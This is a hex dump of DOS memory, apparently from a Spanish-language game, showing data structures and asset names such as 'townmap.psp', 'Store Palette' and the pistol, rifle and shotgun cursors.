28BA:3C50 07 0F 1F 00 00 44 00 52 00 83 00 92 00 00 00 00 .....D.R........
28BA:3C60 00 00 00 D2 A3 BA 28 34 3C BA 28 F4 E6 4E 0A 91 ......(4<.(..N..
28BA:3C70 A3 0F A4 A9 A3 CC A3 55 3C BA 28 02 63 3C BA 28 .......U<.(.c<.(
28BA:3C80 00 00 00 00 00 02 A0 07 0F 1F 15 00 71 39 52 0A ............q9R.
28BA:3C90 82 A4 A2 A4 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3CA0 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 56 00 65 .............V.e
28BA:3CB0 00 24 00 34 00 00 00 00 00 00 00 D2 A3 BA 28 8C .$.4..........(.
28BA:3CC0 3C BA 28 FE 08 51 0A 28 A4 80 A4 3A A4 57 A4 AD <.(..Q.(...:.W..
28BA:3CD0 3C BA 28 02 BB 3C BA 28 00 00 00 00 00 02 A0 07 <.(..<.(........
28BA:3CE0 0F 1F 15 00 3B F5 56 0A 75 A5 98 A5 00 00 00 00 ....;.V.u.......
28BA:3CF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 ................
28BA:3D00 07 0F 1F 00 00 3A 00 65 00 97 00 BA 00 00 00 00 .....:.e........
28BA:3D10 00 00 00 D2 A3 BA 28 E4 3C BA 28 04 18 55 0A 2B ......(.<.(..U.+
28BA:3D20 A5 73 A5 3B A5 42 A5 05 3D BA 28 02 13 3D BA 28 .s.;.B..=.(..=.(
28BA:3D30 00 00 00 00 00 02 A0 07 0F 1F 00 00 85 3C 54 0A .............<T.
28BA:3D40 F9 A4 31 A5 00 00 00 00 00 00 00 00 00 00 00 00 ..1.............
28BA:3D50 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 0E 00 1F ................
28BA:3D60 00 AF 00 C1 00 00 00 00 00 00 00 D2 A3 BA 28 3C ..............(<
28BA:3D70 3D BA 28 0D F6 52 0A A5 A4 F7 A4 B1 A4 C6 A4 5D =.(..R.........]
28BA:3D80 3D BA 28 02 6B 3D BA 28 00 00 00 00 00 02 A0 07 =.(.k=.(........
28BA:3D90 0F 1F 00 00 D2 F8 5C 0A B1 A6 DD A6 00 00 00 00 ......\.........
28BA:3DA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 ................
28BA:3DB0 07 0F 1F 00 00 72 00 8B 00 7B 00 8E 00 00 00 00 .....r...{......
28BA:3DC0 00 00 00 D2 A3 BA 28 94 3D BA 28 8B 07 5B 0A 27 ......(.=.(..[.'
28BA:3DD0 A6 AF A6 33 A6 4F A6 B5 3D BA 28 02 C3 3D BA 28 ...3.O..=.(..=.(
28BA:3DE0 00 00 00 00 00 02 A0 07 0F 1F 16 00 84 3E 5F 0A .............>_.
28BA:3DF0 57 A7 81 A7 00 00 00 00 00 00 00 00 00 00 00 00 W...............
28BA:3E00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 72 00 86 .............r..
28BA:3E10 00 CC 00 DC 00 00 00 00 00 00 00 D2 A3 BA 28 EC ..............(.
28BA:3E20 3D BA 28 93 99 5D 0A CA A6 55 A7 EC A6 FF A6 0D =.(..]...U......
28BA:3E30 3E BA 28 02 1B 3E BA 28 00 00 00 00 00 02 A0 07 >.(..>.(........
28BA:3E40 0F 1F 16 00 54 7F 61 0A F8 A7 19 A8 00 00 00 00 ....T.a.........
28BA:3E50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 ................
28BA:3E60 07 0F 1F 00 00 35 00 48 00 58 00 67 00 00 00 00 .....5.H.X.g....
28BA:3E70 00 00 00 D2 A3 BA 28 44 3E BA 28 F4 1F 60 0A 83 ......(D>.(..`..
28BA:3E80 A7 F6 A7 92 A7 AB A7 65 3E BA 28 02 73 3E BA 28 .......e>.(.s>.(
28BA:3E90 00 00 00 00 00 02 A0 07 0F 1F 16 00 6E 96 63 0A ............n.c.
28BA:3EA0 90 A8 BE A8 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3EB0 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 36 00 46 .............6.F
28BA:3EC0 00 35 00 49 00 00 00 00 00 00 00 D2 A3 BA 28 9C .5.I..........(.
28BA:3ED0 3E BA 28 6E 1F 62 0A 11 A8 8E A8 1F A8 3B A8 BD >.(n.b.......;..
28BA:3EE0 3E BA 28 02 CB 3E BA 28 00 00 00 00 00 02 A0 07 >.(..>.(........
28BA:3EF0 0F 1F 16 00 D9 04 66 0A 1E A9 7B AB 00 00 00 00 ......f...{.....
28BA:3F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 A0 ................
28BA:3F10 07 0F 1F 16 00 3C 00 4E 00 71 00 82 00 00 00 00 .....<.N.q......
28BA:3F20 00 00 00 D2 A3 BA 28 F4 3E BA 28 FA 41 64 0A AF ......(.>.(.Ad..
28BA:3F30 A8 10 A9 CB A8 D3 A8 15 3F BA 28 02 23 3F BA 28 ........?.(.#?.(
28BA:3F40 00 00 00 00 00 02 A0 07 0F 1F 16 00 CB 3D BA 28 .............=.(
28BA:3F50 23 3E BA 28 7B 3E BA 28 D3 3E BA 28 CB 3D BA 28 #>.({>.(.>.(.=.(
28BA:3F60 23 3E BA 28 7B 3E BA 28 D3 3E BA 28 2B 3F BA 28 #>.({>.(.>.(+?.(
28BA:3F70 D9 81 5B 0A 2E A6 2E A6 00 00 00 00 00 00 00 00 ..[.............
28BA:3F80 09 4C 3F BA 28 00 00 00 00 C1 00 E9 08 0F 1F 08 .L?.(...........
28BA:3F90 00 76 00 8D 00 35 00 41 00 00 00 00 00 00 00 D2 .v...5.A........
28BA:3FA0 A3 BA 28 70 3F BA 28 FF 11 59 0A B2 A5 10 A6 D3 ..(p?.(..Y......
28BA:3FB0 A5 E0 A5 91 3F BA 28 02 9F 3F BA 28 00 00 00 00 ....?.(..?.(....
28BA:3FC0 00 02 A0 07 0F 1F 15 00 70 3F BA 28 57 5F 5A 0A ........p?.(W_Z.
28BA:3FD0 12 A6 2E A6 00 00 00 00 00 00 00 00 01 C8 3F BA ..............?.
28BA:3FE0 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 D2 A3 BA (...............
28BA:3FF0 28 CC 3F BA 28 24 8F 58 0A A4 A5 10 A6 D3 A5 E0 (.?.($.X........
28BA:4000 A5 91 3F BA 28 02 ED 3F BA 28 A7 3F BA 28 01 02 ..?.(..?.(.?.(..
28BA:4010 A0 07 0F 1F 15 00 64 00 6B 00 26 00 2E 00 00 00 ......d.k.&.....
28BA:4020 00 00 35 01 1B 00 21 00 B5 00 BE 00 16 40 BA 28 ..5...!......@.(
28BA:4030 40 06 27 D5 B4 0B D2 B9 00 00 00 00 00 00 24 40 @.'...........$@
28BA:4040 BA 28 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 .(..............
28BA:4050 25 00 00 73 3D BA 28 13 3C BA 28 6B 3C BA 28 C3 %..s=.(.<.(k<.(.
28BA:4060 3C BA 28 1B 3D BA 28 73 3D BA 28 13 3C BA 28 6B <.(.=.(s=.(.<.(k
28BA:4070 3C BA 28 C3 3C BA 28 32 40 BA 28 96 B2 4C 0A 0B <.(.<.(2@.(..L..
28BA:4080 A3 0B A3 00 00 00 00 00 00 00 00 0A 53 40 BA 28 ............S@.(
28BA:4090 00 00 00 00 C1 00 E9 08 0F 1F 09 00 69 00 6E 00 ............i.n.
28BA:40A0 6C 00 78 00 00 00 00 00 10 01 A4 61 B4 0B D0 B9 l.x........a....
28BA:40B0 00 00 00 00 00 00 9C 40 BA 28 00 00 00 00 00 00 .......@.(......
28BA:40C0 00 00 00 00 00 0A 0C 04 25 00 00 AA 40 BA 28 BC ........%...@.(.
28BA:40D0 6B 42 0A 3C A1 54 A1 00 00 00 00 00 00 00 00 00 kB.<.T..........
28BA:40E0 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 ................
28BA:40F0 55 00 63 00 CD 00 DB 00 00 00 00 00 00 00 D2 A3 U.c.............
28BA:4100 BA 28 CF 40 BA 28 26 27 41 0A D6 A0 3A A1 EB A0 .(.@.(&'A...:...
28BA:4110 FC A0 F0 40 BA 28 02 FE 40 BA 28 00 00 00 00 00 ...@.(..@.(.....
28BA:4120 02 A0 07 0F 1F 00 00 D7 D3 45 0A CE A1 F5 A1 00 .........E......
28BA:4130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:4140 00 00 A0 07 0F 1F 00 00 4B 00 79 00 18 00 39 00 ........K.y...9.
28BA:4150 00 00 00 00 00 00 D2 A3 BA 28 27 41 BA 28 1A 0D .........('A.(..
28BA:4160 43 0A 54 A1 CC A1 7F A1 8D A1 48 41 BA 28 02 56 C.T.......HA.(.V
28BA:4170 41 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 5C A.(............\
28BA:4180 44 48 0A 56 A2 7F A2 00 00 00 00 00 00 00 00 00 DH.V............
28BA:4190 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 ................
28BA:41A0 54 00 62 00 B1 00 BE 00 00 00 00 00 00 00 D2 A3 T.b.............
28BA:41B0 BA 28 7F 41 BA 28 31 00 47 0A F5 A1 54 A2 01 A2 .(.A.(1.G...T...
28BA:41C0 14 A2 A0 41 BA 28 02 AE 41 BA 28 00 00 00 00 00 ...A.(..A.(.....
28BA:41D0 02 A0 07 0F 1F 00 00 62 0A 4B 0A D8 A2 F6 A2 00 .......b.K......
28BA:41E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:41F0 00 00 A0 07 0F 1F 00 00 48 00 78 00 18 00 3A 00 ........H.x...:.
28BA:4200 00 00 00 00 00 00 D2 A3 BA 28 D7 41 BA 28 4E 0A .........(.A.(N.
28BA:4210 49 0A 7F A2 D6 A2 93 A2 A4 A2 F8 41 BA 28 02 06 I..........A.(..
28BA:4220 42 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 06 B.(.............
28BA:4230 41 BA 28 5E 41 BA 28 B6 41 BA 28 0E 42 BA 28 06 A.(^A.(.A.(.B.(.
28BA:4240 41 BA 28 5E 41 BA 28 B6 41 BA 28 0E 42 BA 28 AA A.(^A.(.A.(.B.(.
28BA:4250 40 BA 28 26 27 41 0A D6 A0 D6 A0 00 00 00 00 00 @.(&'A..........
28BA:4260 00 00 00 09 2F 42 BA 28 00 00 00 00 C1 00 E9 08 ..../B.(........
28BA:4270 0F 1F 08 00 53 42 BA 28 94 62 40 0A B7 A0 D6 A0 ....SB.(.b@.....
28BA:4280 00 00 00 00 00 00 00 00 01 74 42 BA 28 00 00 00 .........tB.(...
28BA:4290 00 00 00 A0 07 0F 1F 00 00 55 00 6A 00 6A 00 78 .........U.j.j.x
28BA:42A0 00 00 00 00 00 00 00 D2 A3 BA 28 78 42 BA 28 90 ..........(xB.(.
28BA:42B0 DB 3E 0A 47 A0 B4 A0 6F A0 7E A0 99 42 BA 28 02 .>.G...o.~..B.(.
28BA:42C0 A7 42 BA 28 00 00 00 00 00 02 A0 07 0F 1F 0B 00 .B.(............
28BA:42D0 D2 A3 BA 28 7A D0 3A 0A D5 9F 22 A0 00 00 00 00 ...(z.:...".....
28BA:42E0 00 00 00 00 01 D0 42 BA 28 00 00 00 00 00 00 A0 ......B.(.......
28BA:42F0 07 0F 1F 00 00 74 00 79 00 8A 00 9E 00 00 00 00 .....t.y........
28BA:4300 00 29 01 6E 00 76 00 3E 00 51 00 F5 42 BA 28 47 .).n.v.>.Q..B.(G
28BA:4310 01 A2 E2 B3 0B CE B9 00 00 00 00 00 00 03 43 BA ..............C.
28BA:4320 28 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 (..............%
28BA:4330 00 00 11 43 BA 28 D1 E8 1E 0A 55 9D BB 9D 00 00 ...C.(....U.....
28BA:4340 00 00 00 00 00 00 01 32 43 BA 28 00 00 00 00 00 .......2C.(.....
28BA:4350 00 A0 07 0F 1F 00 00 53 00 74 00 B0 00 C3 00 00 .......S.t......
28BA:4360 00 00 00 00 00 D2 A3 BA 28 36 43 BA 28 CB 8C 1C ........(6C.(...
28BA:4370 0A EC 9C 53 9D 04 9D 11 9D 57 43 BA 28 02 65 43 ...S.....WC.(.eC
28BA:4380 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 53 00 .(............S.
28BA:4390 71 00 45 00 58 00 00 00 00 00 00 00 D4 42 BA 28 q.E.X........B.(
28BA:43A0 6D 43 BA 28 47 C4 19 0A 6D 9C EA 9C 95 9C A1 9C mC.(G...m.......
28BA:43B0 8E 43 BA 28 02 9C 43 BA 28 00 00 00 00 00 02 A0 .C.(..C.(.......
28BA:43C0 07 0F 1F 07 00 9D 26 39 0A 94 9F D0 9F 00 00 00 ......&9........
28BA:43D0 00 00 00 00 00 01 32 43 BA 28 00 00 00 00 00 00 ......2C.(......
28BA:43E0 A0 07 0F 1F 00 00 52 00 72 00 45 00 5A 00 00 00 ......R.r.E.Z...
28BA:43F0 00 00 00 00 D2 A3 BA 28 C5 43 BA 28 38 8A 36 0A .......(.C.(8.6.
28BA:4400 27 9F 91 9F 4A 9F 5D 9F E6 43 BA 28 02 F4 43 BA '...J.]..C.(..C.
28BA:4410 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 55 00 74 (............U.t
28BA:4420 00 AD 00 C5 00 00 00 00 00 00 00 D4 42 BA 28 FC ............B.(.
28BA:4430 43 BA 28 A0 89 34 0A CF 9E 25 9F EA 9E F7 9E 1D C.(..4...%......
28BA:4440 44 BA 28 02 2B 44 BA 28 00 00 00 00 00 02 A0 07 D.(.+D.(........
28BA:4450 0F 1F 17 00 A4 43 BA 28 33 44 BA 28 49 89 1C 0A .....C.(3D.(I...
28BA:4460 EA 9C EA 9C 00 00 00 00 00 00 00 00 02 54 44 BA .............TD.
28BA:4470 28 00 00 00 00 81 00 00 0B 0F 1F 01 00 00 68 00 (.............h.
28BA:4480 80 00 93 00 A0 00 00 00 00 00 0D 00 4B 00 55 00 ............K.U.
28BA:4490 BE 00 D2 00 7E 44 BA 28 0F 00 50 00 5A 00 5F 00 ....~D.(..P.Z._.
28BA:44A0 69 00 8C 44 BA 28 0A 00 3E 00 49 00 5A 00 68 00 i..D.(..>.I.Z.h.
28BA:44B0 9A 44 BA 28 A0 01 A0 63 B3 0B CC B9 00 00 00 00 .D.(...c........
28BA:44C0 00 00 A8 44 BA 28 00 00 00 00 00 00 00 00 00 00 ...D.(..........
28BA:44D0 00 0A 0C 04 25 00 00 B6 44 BA 28 F1 6C F6 09 F7 ....%...D.(.l...
28BA:44E0 9A 6C 9C 6B 9B 6A 9C 00 00 00 00 01 D7 44 BA 28 .l.k.j.......D.(
28BA:44F0 00 00 00 00 00 02 A0 07 0F 1F 00 00 46 00 58 00 ............F.X.
28BA:4500 27 00 39 00 00 00 00 00 00 00 D2 A3 BA 28 DB 44 '.9..........(.D
28BA:4510 BA 28 48 C1 F4 09 85 9A F5 9A 9F 9A B8 9A FC 44 .(H............D
28BA:4520 BA 28 02 0A 45 BA 28 00 00 00 00 00 02 A0 07 0F .(..E.(.........
28BA:4530 1F 00 00 41 00 5A 00 9D 00 AF 00 00 00 00 00 00 ...A.Z..........
28BA:4540 00 D2 A3 BA 28 12 45 BA 28 F2 27 F1 09 F8 99 7A ....(.E.(.'....z
28BA:4550 9A 29 9A 37 9A 33 45 BA 28 02 41 45 BA 28 00 00 .).7.3E.(.AE.(..
28BA:4560 00 00 00 02 A0 07 0F 1F 00 00 42 00 5E 00 9E 00 ..........B.^...
28BA:4570 AF 00 00 00 00 00 00 00 D2 A3 BA 28 49 45 BA 28 ...........(IE.(
28BA:4580 B7 7E E6 09 D6 98 F6 99 9C 99 AF 99 6A 45 BA 28 .~..........jE.(
28BA:4590 02 78 45 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 .xE.(...........
28BA:45A0 00 00 3C 00 40 00 80 00 8C 00 00 00 00 00 47 01 ..<.@.........G.
28BA:45B0 37 00 3B 00 82 00 8A 00 A2 45 BA 28 47 02 38 00 7.;......E.(G.8.
28BA:45C0 3E 00 64 00 78 00 B0 45 BA 28 42 01 38 00 3E 00 >.d.x..E.(B.8.>.
28BA:45D0 3C 00 46 00 BE 45 BA 28 8F 02 28 C3 B8 0B E4 B9 <.F..E.(..(.....
28BA:45E0 00 00 00 00 00 00 CC 45 BA 28 00 00 00 00 00 00 .......E.(......
28BA:45F0 00 00 00 00 00 0A 0C 04 25 00 00 DA 45 BA 28 64 ........%...E.(d
28BA:4600 35 D6 09 2E 98 D5 98 00 00 00 00 00 00 00 00 01 5...............
28BA:4610 FB 45 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 .E.(............
28BA:4620 3D 00 4B 00 76 00 8F 00 00 00 00 00 00 00 D2 A3 =.K.v...........
28BA:4630 BA 28 FF 45 BA 28 9F 7D A0 09 E4 95 2C 98 DF 96 .(.E.(.}....,...
28BA:4640 5E 97 20 46 BA 28 02 2E 46 BA 28 00 00 00 00 00 ^. F.(..F.(.....
28BA:4650 02 A0 07 0F 1F 00 00 D2 A3 BA 28 FF 45 BA 28 D4 ..........(.E.(.
28BA:4660 8B 97 09 93 95 2C 98 DF 96 5E 97 20 46 BA 28 02 .....,...^. F.(.
28BA:4670 57 46 BA 28 36 46 BA 28 01 02 A0 07 0F 1F 00 00 WF.(6F.(........
28BA:4680 26 00 36 00 6E 00 87 00 00 00 00 00 00 00 D2 A3 &.6.n...........
28BA:4690 BA 28 5F 46 BA 28 01 30 8C 09 20 95 91 95 54 95 .(_F.(.0.. ...T.
28BA:46A0 63 95 80 46 BA 28 02 8E 46 BA 28 00 00 00 00 00 c..F.(..F.(.....
28BA:46B0 02 A0 07 0F 1F 00 00 25 00 3A 00 3D 00 4E 00 00 .......%.:.=.N..
28BA:46C0 00 00 00 00 00 D2 A3 BA 28 96 46 BA 28 4B 84 82 ........(.F.(K..
28BA:46D0 09 C0 94 1E 95 DA 94 EE 94 B7 46 BA 28 02 C5 46 ..........F.(..F
28BA:46E0 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 2A 00 .(............*.
28BA:46F0 3A 00 55 00 70 00 00 00 00 00 00 00 D2 A3 BA 28 :.U.p..........(
28BA:4700 CD 46 BA 28 B8 65 73 09 FB 93 BE 94 23 94 39 94 .F.(.es.....#.9.
28BA:4710 EE 46 BA 28 02 FC 46 BA 28 00 00 00 00 00 02 A0 .F.(..F.(.......
28BA:4720 07 0F 1F 00 00 26 00 39 00 77 00 8F 00 00 00 00 .....&.9.w......
28BA:4730 00 00 00 D2 A3 BA 28 04 47 BA 28 4A 25 69 09 88 ......(.G.(J%i..
28BA:4740 93 F9 93 BA 93 C7 93 25 47 BA 28 02 33 47 BA 28 .......%G.(.3G.(
28BA:4750 00 00 00 00 00 02 A0 07 0F 1F 00 00 3B 47 BA 28 ............;G.(
28BA:4760 2D 9A 4F 09 A4 92 87 93 00 00 00 00 00 00 00 00 -.O.............
28BA:4770 01 5C 47 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 .\G.(...........
28BA:4780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:4790 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 ................
28BA:47A0 25 00 00 82 47 BA 28 05 8A E0 0D 24 D2 00 00 00 %...G.(....$....
28BA:47B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:47C0 00 00 00 00 00 00 00 00 00 7A 00 33 00 B5 00 6B .........z.3...k
28BA:47D0 00 00 00 00 00 00 00 00 00 14 10 C1 1B 14 10 C1 ................
28BA:47E0 1B 00 00 00 00 00 00 00 00 00 00 00 00 13 00 5E ...............^
28BA:47F0 00 23 00 71 00 00 00 00 00 00 00 00 00 1E 0B C1 .#.q............
28BA:4800 1B 1E 0B C1 1B 01 00 00 00 00 00 00 00 24 00 5E .............$.^
28BA:4810 00 33 00 71 00 00 00 00 00 00 00 00 00 1E 0B C1 .3.q............
28BA:4820 1B 1E 0B C1 1B 02 00 00 00 00 00 00 00 34 00 5E .............4.^
28BA:4830 00 46 00 71 00 00 00 00 00 00 00 00 00 1E 0B C1 .F.q............
28BA:4840 1B 1E 0B C1 1B 03 00 00 00 00 00 00 00 3E 00 3A .............>.:
28BA:4850 00 4F 00 6C 00 B6 87 BA 28 00 00 00 00 1E 0B C1 .O.l....(.......
28BA:4860 1B 1E 0B C1 1B 05 00 00 00 00 00 00 00 50 00 3A .............P.:
28BA:4870 00 63 00 6C 00 F8 87 BA 28 00 00 00 00 1E 0B C1 .c.l....(.......
28BA:4880 1B 1E 0B C1 1B 04 00 00 00 00 00 00 00 63 68 6F .............cho
28BA:4890 6F 73 65 2E 70 73 70 00 43 68 6F 6F 73 65 00 6D ose.psp.Choose.m
28BA:48A0 6F 6E 65 64 61 2E 70 73 70 00 42 4A 20 63 6F 69 oneda.psp.BJ coi
28BA:48B0 6E 00 63 68 6F 6F 66 2E 72 61 77 00 61 6C 6D 61 n.choof.raw.alma
28BA:48C0 63 65 6E 2E 70 70 73 00 53 74 6F 72 65 20 50 61 cen.pps.Store Pa
28BA:48D0 6C 65 74 74 65 00 72 65 76 6F 6C 62 61 6C 2E 70 lette.revolbal.p
28BA:48E0 73 70 00 50 69 73 74 6F 6C 20 63 75 72 73 6F 72 sp.Pistol cursor
28BA:48F0 00 72 69 66 62 61 6C 2E 70 73 70 00 72 69 66 6C .rifbal.psp.rifl
28BA:4900 65 20 63 75 72 73 6F 72 00 65 73 63 6F 62 61 6C e cursor.escobal
28BA:4910 2E 70 73 70 00 53 68 6F 74 67 20 63 75 72 73 6F .psp.Shotg curso
28BA:4920 72 00 61 6C 6D 61 63 65 6E 2E 70 73 70 00 0A 00 r.almacen.psp...
28BA:4930 0A 00 3F 01 95 00 F2 A8 BA 28 00 00 00 00 00 00 ..?......(......
28BA:4940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8C 00 ................
28BA:4950 2E 00 A0 00 3A 00 36 A9 BA 28 00 00 00 00 70 04 ....:.6..(....p.
28BA:4960 C3 1C 70 04 C3 1C 00 10 00 00 00 00 00 00 04 01 ..p.............
28BA:4970 64 00 1E 01 96 00 32 A9 BA 28 00 00 00 00 70 04 d.....2..(....p.
28BA:4980 C3 1C 70 04 C3 1C 00 02 00 00 00 00 00 00 0A 00 ..p.............
28BA:4990 3C 00 28 00 50 00 24 88 BA 28 00 00 00 00 70 04 <.(.P.$..(....p.
28BA:49A0 C3 1C 70 04 C3 1C 00 01 00 00 00 00 00 00 0A 00 ..p.............
28BA:49B0 0A 00 3C 00 28 00 3E A9 BA 28 00 00 00 00 70 04 ..<.(.>..(....p.
28BA:49C0 C3 1C 70 04 C3 1C 80 00 00 00 00 00 00 00 A3 00 ..p.............
28BA:49D0 32 00 C4 00 59 00 42 A9 BA 28 00 00 00 00 70 04 2...Y.B..(....p.
28BA:49E0 C3 1C 70 04 C3 1C 00 00 20 00 00 00 00 00 C5 00 ..p..... .......
28BA:49F0 2A 00 E5 00 4E 00 26 A9 BA 28 00 00 00 00 70 04 *...N.&..(....p.
28BA:4A00 C3 1C 70 04 C3 1C 00 00 80 00 00 00 00 00 04 01 ..p.............
28BA:4A10 22 00 27 01 39 00 22 A9 BA 28 00 00 00 00 70 04 ".'.9."..(....p.
28BA:4A20 C3 1C 70 04 C3 1C 00 00 04 00 00 00 00 00 C7 00 ..p.............
28BA:4A30 6C 00 FA 00 86 00 0A A9 BA 28 00 00 00 00 70 04 l........(....p.
28BA:4A40 C3 1C 70 04 C3 1C 02 00 00 00 00 00 00 00 8C 00 ..p.............
28BA:4A50 26 00 A5 00 2D 00 2A A9 BA 28 00 00 00 00 70 04 &...-.*..(....p.
28BA:4A60 C3 1C 70 04 C3 1C 00 00 01 00 00 00 00 00 40 00 ..p...........@.
28BA:4A70 26 00 57 00 33 00 16 A9 BA 28 00 00 00 00 70 04 &.W.3....(....p.
28BA:4A80 C3 1C 70 04 C3 1C 20 00 00 00 00 00 00 00 3F 00 ..p... .......?.
28BA:4A90 34 00 55 00 40 00 06 A9 BA 28 00 00 00 00 70 04 4.U.@....(....p.
28BA:4AA0 C3 1C 70 04 C3 1C 00 04 00 00 00 00 00 00 3F 00 ..p...........?.
28BA:4AB0 45 00 53 00 4D 00 1A A9 BA 28 00 00 00 00 70 04 E.S.M....(....p.
28BA:4AC0 C3 1C 70 04 C3 1C 08 00 00 00 00 00 00 00 3A 00 ..p...........:.
28BA:4AD0 50 00 5D 00 5F 00 12 A9 BA 28 00 00 00 00 70 04 P.]._....(....p.
28BA:4AE0 C3 1C 70 04 C3 1C 40 00 00 00 00 00 00 00 3D 00 ..p...@.......=.
28BA:4AF0 63 00 5F 00 70 00 1E A9 BA 28 00 00 00 00 70 04 c._.p....(....p.
28BA:4B00 C3 1C 70 04 C3 1C 00 00 10 00 00 00 00 00 31 00 ..p...........1.
28BA:4B10 73 00 67 00 8B 00 0E A9 BA 28 00 00 00 00 70 04 s.g......(....p.
28BA:4B20 C3 1C 70 04 C3 1C 04 00 00 00 00 00 00 00 2D 00 ..p...........-.
28BA:4B30 34 00 3B 00 41 00 02 A9 BA 28 00 00 00 00 70 04 4.;.A....(....p.
28BA:4B40 C3 1C 70 04 C3 1C 10 00 00 00 00 00 00 00 40 00 ..p...........@.
28BA:4B50 0F 00 50 00 16 00 2E A9 BA 28 00 00 00 00 70 04 ..P......(....p.
28BA:4B60 C3 1C 70 04 C3 1C 00 00 08 00 00 00 00 00 5F 00 ..p..........._.
28BA:4B70 0E 00 F9 00 1D 00 24 88 BA 28 00 00 00 00 70 04 ......$..(....p.
28BA:4B80 C3 1C 70 04 C3 1C 00 08 00 00 00 00 00 00 84 00 ..p.............
28BA:4B90 67 00 C6 00 87 00 0E 88 BA 28 00 00 00 00 70 04 g........(....p.
28BA:4BA0 C3 1C 70 04 C3 1C 01 00 00 00 00 00 00 00 8C 00 ..p.............
28BA:4BB0 3B 00 A5 00 45 00 5A A9 BA 28 00 00 00 00 70 04 ;...E.Z..(....p.
28BA:4BC0 C3 1C 70 04 C3 1C 00 80 00 00 00 00 00 00 E6 00 ..p.............
28BA:4BD0 41 00 09 01 5D 00 5E A9 BA 28 00 00 00 00 70 04 A...].^..(....p.
28BA:4BE0 C3 1C 70 04 C3 1C 00 40 00 00 00 00 00 00 74 6F ..p....@......to
28BA:4BF0 77 6E 6D 61 70 2E 70 73 70 00 6D 61 72 63 6F 32 wnmap.psp.marco2
28BA:4C00 36 2E 70 73 70 00 4D 61 70 20 70 61 6C 6C 65 74 6.psp.Map pallet
28BA:4C10 65 00 7C 00 84 00 B5 00 D1 00 00 00 00 00 31 01 e.|...........1.
28BA:4C20 7C 00 84 00 76 00 8E 00 12 4C BA 28 42 01 84 00 |...v....L.(B...
28BA:4C30 91 00 12 00 26 00 20 4C BA 28 52 02 73 00 7A 00 ....&. L.(R.s.z.
28BA:4C40 1E 00 2A 00 2E 4C BA 28 41 01 97 14 B2 0B C6 B9 ..*..L.(A.......
28BA:4C50 00 00 00 00 00 00 3C 4C BA 28 00 00 00 00 00 00 ......<L.(......
28BA:4C60 00 00 00 00 00 0A 0C 04 25 00 00 4A 4C BA 28 B7 ........%..JL.(.
28BA:4C70 65 E0 08 71 8A D1 8C 00 00 00 00 00 00 00 00 01 e..q............
28BA:4C80 6B 4C BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 kL.(............
28BA:4C90 20 00 37 00 80 00 8D 00 00 00 00 00 00 00 F3 A3 .7.............
28BA:4CA0 BA 28 6F 4C BA 28 BD 28 DC 08 EC 89 6D 8A 12 8A .(oL.(.(....m...
28BA:4CB0 40 8A 90 4C BA 28 02 9E 4C BA 28 00 00 00 00 00 @..L.(..L.(.....
28BA:4CC0 02 A0 07 0F 1F 14 00 31 00 51 00 96 00 A9 00 00 .......1.Q......
28BA:4CD0 00 00 00 00 00 D2 A3 BA 28 A6 4C BA 28 B8 C2 D9 ........(.L.(...
28BA:4CE0 08 6B 89 EA 89 79 89 A5 89 C7 4C BA 28 02 D5 4C .k...y....L.(..L
28BA:4CF0 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 D2 A3 .(..............
28BA:4D00 BA 28 A6 4C BA 28 78 A4 D8 08 4E 89 EA 89 79 89 .(.L.(x...N...y.
28BA:4D10 A5 89 C7 4C BA 28 02 FE 4C BA 28 DD 4C BA 28 01 ...L.(..L.(.L.(.
28BA:4D20 02 A0 07 0F 1F 00 00 5F 00 88 00 C6 00 DB 00 00 ......._........
28BA:4D30 00 00 00 00 00 D2 A3 BA 28 06 4D BA 28 37 BC D4 ........(.M.(7..
28BA:4D40 08 DF 88 4C 89 0F 89 1E 89 27 4D BA 28 02 35 4D ...L.....'M.(.5M
28BA:4D50 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 65 00 .(............e.
28BA:4D60 92 00 2C 00 40 00 00 00 00 00 00 00 D2 A3 BA 28 ..,.@..........(
28BA:4D70 3D 4D BA 28 37 44 CF 08 63 88 DD 88 89 88 A6 88 =M.(7D..c.......
28BA:4D80 5E 4D BA 28 02 6C 4D BA 28 00 00 00 00 00 02 A0 ^M.(.lM.(.......
28BA:4D90 07 0F 1F 00 00 5E 00 91 00 7B 00 92 00 00 00 00 .....^...{......
28BA:4DA0 00 00 00 D2 A3 BA 28 74 4D BA 28 AC B6 CA 08 C1 ......(tM.(.....
28BA:4DB0 87 61 88 09 88 22 88 95 4D BA 28 02 A3 4D BA 28 .a..."..M.(..M.(
28BA:4DC0 00 00 00 00 00 02 A0 07 0F 1F 00 00 60 00 83 00 ............`...
28BA:4DD0 17 00 31 00 00 00 00 00 00 00 D2 A3 BA 28 AB 4D ..1..........(.M
